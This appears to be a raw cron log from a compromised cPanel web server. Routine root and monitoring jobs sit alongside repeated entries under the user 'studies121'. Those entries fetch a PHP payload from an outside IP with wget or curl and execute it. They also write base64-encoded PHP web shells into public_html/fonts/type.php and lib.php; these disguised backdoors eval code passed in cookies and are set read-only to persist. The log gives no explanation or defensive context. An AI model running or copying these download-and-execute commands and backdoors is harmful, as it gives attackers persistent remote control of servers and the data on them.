Sep  6 21:20:01 ip-184-168-122-23 CROND[30822]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:20:01 ip-184-168-122-23 CROND[30827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:21:01 ip-184-168-122-23 CROND[30911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:21:01 ip-184-168-122-23 CROND[30913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:21:01 ip-184-168-122-23 CROND[30914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:21:01 ip-184-168-122-23 CROND[30915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:22:01 ip-184-168-122-23 CROND[30992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:22:01 ip-184-168-122-23 CROND[30994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:22:01 ip-184-168-122-23 CROND[30997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:22:01 ip-184-168-122-23 CROND[30995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:22:01 ip-184-168-122-23 CROND[30996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:23:01 ip-184-168-122-23 CROND[31080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:23:01 ip-184-168-122-23 CROND[31082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:23:01 ip-184-168-122-23 CROND[31083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:23:01 ip-184-168-122-23 CROND[31084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:24:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:24:01 ip-184-168-122-23 CROND[31257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:24:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:24:01 ip-184-168-122-23 CROND[31260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:24:01 ip-184-168-122-23 CROND[31259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:25:01 ip-184-168-122-23 CROND[31370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:25:01 ip-184-168-122-23 CROND[31371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:25:01 ip-184-168-122-23 CROND[31373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:25:01 ip-184-168-122-23 CROND[31376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:25:01 ip-184-168-122-23 CROND[31377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:25:02 ip-184-168-122-23 CROND[31379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:26:01 ip-184-168-122-23 CROND[31492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:26:01 ip-184-168-122-23 CROND[31496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:26:01 ip-184-168-122-23 CROND[31495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:26:01 ip-184-168-122-23 CROND[31494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:26:01 ip-184-168-122-23 CROND[31497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:27:01 ip-184-168-122-23 CROND[31591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:27:01 ip-184-168-122-23 CROND[31592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:27:01 ip-184-168-122-23 CROND[31594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:27:01 ip-184-168-122-23 CROND[31595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:28:01 ip-184-168-122-23 CROND[31674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:28:01 ip-184-168-122-23 CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:28:01 ip-184-168-122-23 CROND[31677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:28:01 ip-184-168-122-23 CROND[31678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:28:01 ip-184-168-122-23 CROND[31680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:29:01 ip-184-168-122-23 CROND[31755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:29:01 ip-184-168-122-23 CROND[31757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:29:01 ip-184-168-122-23 CROND[31758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:29:01 ip-184-168-122-23 CROND[31759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:30:01 ip-184-168-122-23 CROND[31848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:30:01 ip-184-168-122-23 CROND[31853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:30:01 ip-184-168-122-23 CROND[31850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:31:01 ip-184-168-122-23 CROND[32030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:31:01 ip-184-168-122-23 CROND[32031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:31:01 ip-184-168-122-23 CROND[32034]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:31:01 ip-184-168-122-23 CROND[32036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:31:01 ip-184-168-122-23 CROND[32037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:32:01 ip-184-168-122-23 CROND[32117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:32:01 ip-184-168-122-23 CROND[32116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:32:01 ip-184-168-122-23 CROND[32118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:32:01 ip-184-168-122-23 CROND[32119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:32:01 ip-184-168-122-23 CROND[32120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:33:01 ip-184-168-122-23 CROND[32207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
